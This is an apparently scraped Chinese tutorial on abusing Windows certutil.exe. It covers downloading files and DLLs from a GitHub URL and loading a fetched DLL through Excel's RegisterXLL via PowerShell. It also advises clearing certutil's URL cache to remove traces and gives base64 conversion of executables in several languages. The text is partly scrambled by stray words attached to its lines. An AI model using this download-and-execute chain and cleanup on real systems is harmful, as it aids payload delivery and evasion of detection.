用于证书管理git
支持环境: XP - Windows 10 全系统github
更多:https://technet.microsoft.com/zh-cn/library/cc755341(v=ws.10).aspxshell
(1) 保存在当前路径,文件名称同URLc#
eg:windows
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
缓存
(2) 保存在当前路径,指定保存文件名称工具
eg:开发工具
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt file.txt
测试
(3) 保存在缓存目录,名称随机编码
缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
eg:
certutil.exe -urlcache -f https://raw.githubusercontent.com/3gstudent/test/master/version.txt
(4) 支持保存二进制文件
eg:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
注:
使用downloader默认在缓存目录位置: %USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
保存下载的文件副本
清除下载文件副本方法:
方法1: 直接删除缓存目录对应文件
以下图
方法2: 命令行:
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
补充:
查看缓存项目:
certutil.exe -urlcache *
以下图
实际测试:
测试系统安装Office软件,下载执行dll对应的powershell代码以下:
$path="c:\test\msg1.dll" certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll $path $excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) $excel.RegisterXLL($path)
测试以下:
(1) SHA1
certutil.exe -hashfile msg.dll
(2) SHA256:
certutil.exe -hashfile msg.dll SHA256
(3) MD5:
certutil.exe -hashfile msg.dll MD5
(1) base64编码:
CertUtil -encode InFile OutFile
(2) base64解码
CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:
-----BEGIN CERTIFICATE-----
文件尾:
-----END CERTIFICATE-----
以下图
利用certUtil简便快捷,可是使用后须要注意清除缓存,路径以下:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
downloader经常使用方法以下:
在编写脚本操做二进制文件时,经常会由于不可见字符报错,因此一般会选择先对二进制文件做base64编码再操做,最后经过解码还原出二进制文件。
因此在此整理一下经常使用不一样开发工具对应的base64编码转换方式
base64编码:
$PEBytes = [System.IO.File]::ReadAllBytes("C:\windows\system32\calc.exe") $Base64Payload = [System.Convert]::ToBase64String($PEBytes) Set-Content base64.txt -Value $Base64Payload
base64解码:
$Base64Bytes = Get-Content ("base64.txt") $PEBytes= [System.Convert]::FromBase64String($Base64Bytes) [System.IO.File]::WriteAllBytes("calc.exe",$PEBytes)
base64编码:
using System.IO; byte[] AsBytes = File.ReadAllBytes(@"C:\windows\system32\calc.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\test\base64.txt"); sw.Write(AsBase64String); sw.Close();
base64解码:
using System.IO; String AsString = File.ReadAllText(@"C:\test\base64.txt"); byte[] bytes = Convert.FromBase64String(AsString); FileStream fs = new FileStream(@"C:\test\calc.exe", FileMode.Create); fs.Write(bytes, 0, bytes.Length); fs.Flush(); fs.Close();
base64解码:
fso1=new ActiveXObject("Scripting.FileSystemObject"); f=fso1.OpenTextFile("C:\\test\\base64.txt",1); base64string=f.ReadAll(); f.Close(); enc = new ActiveXObject("System.Text.ASCIIEncoding"); length = enc.GetByteCount_2(base64string); ba = enc.GetBytes_4(base64string); transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); s=new ActiveXObject("ADODB.Stream"); s.Type=1; s.Open(); s.Write(ba); s.SaveToFile("C:\\test\\calc.exe",2);
base64编码:
CertUtil -encode InFile OutFile
base64解码:
CertUtil -decode InFile OutFile
注:
编码后的文件会添加两处标识信息:
文件头:
—–BEGIN CERTIFICATE—–
文件尾:
—–END CERTIFICATE—–
查看利用certUtil下载文件的缓存记录:
certutil.exe -urlcache *
缓存文件位置:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content